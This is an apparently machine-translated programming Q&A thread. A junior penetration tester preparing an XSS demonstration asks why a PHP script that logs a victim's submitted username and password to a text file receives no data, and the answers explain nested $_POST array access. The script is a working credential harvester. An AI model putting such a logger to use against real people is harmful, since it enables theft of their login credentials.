我是(初级)笔测试员,我正在尝试制作一个脚本来向客户端演示XSS攻击的危险。我有一个用于登录用户的PHP脚本:当受害者(即我在演示中)被重定向到我正在托管的恶意页面时,传递组合。
这是登录源的一部分:
<input type="text" id="form_login_username" name="form[login][username]" value="" class="large" />
<input type="password" id="form_login_password" name="form[login][password]" value="" class="large" />
我是php的新手,所以它可能是导致问题的基本内容。这是我的PHP脚本,用于记录详细信息:
<?PHP
$filename = "login_details.txt";
$username = $_POST["form[login][username]"];
$password = $_POST["form[login][password]"];
$fh = fopen($filename, "aw") or die("cannot open file");
fwrite($fh, $username . ":" . $password . "\r\n");
fclose($fh);
使用这个脚本我得到:
Notice: Undefined index: form[login][username] in...
密码也一样。
我在isset中添加了以查看变量是否被设置,并且它们不是。
我知道脚本确实有效,因为我尝试使用其他一些简单的登录页面,它运行得很好。唯一的区别是在这种情况下用户名和密码发布变量的方括号 - 这可能是问题吗?我已经尝试过对它们进行编码,但无济于事:(
我出错的任何想法?谢谢=)
答案 0 :(得分:4)
因为访问变量的有效方法是
$_POST['form']['login']['username']
只需执行var_dump($_POST);
并查看您的帖子包含的内容
答案 1 :(得分:1)
请尝试使用表单名称属性...
name="formUsername"
name="formPasswd"
在接收脚本中......
$username = $_POST['formUsername'];
$password = $_POST['formPasswd];
答案 2 :(得分:0)
你在这些领域周围有<form action="youscript.php" method="post">
吗?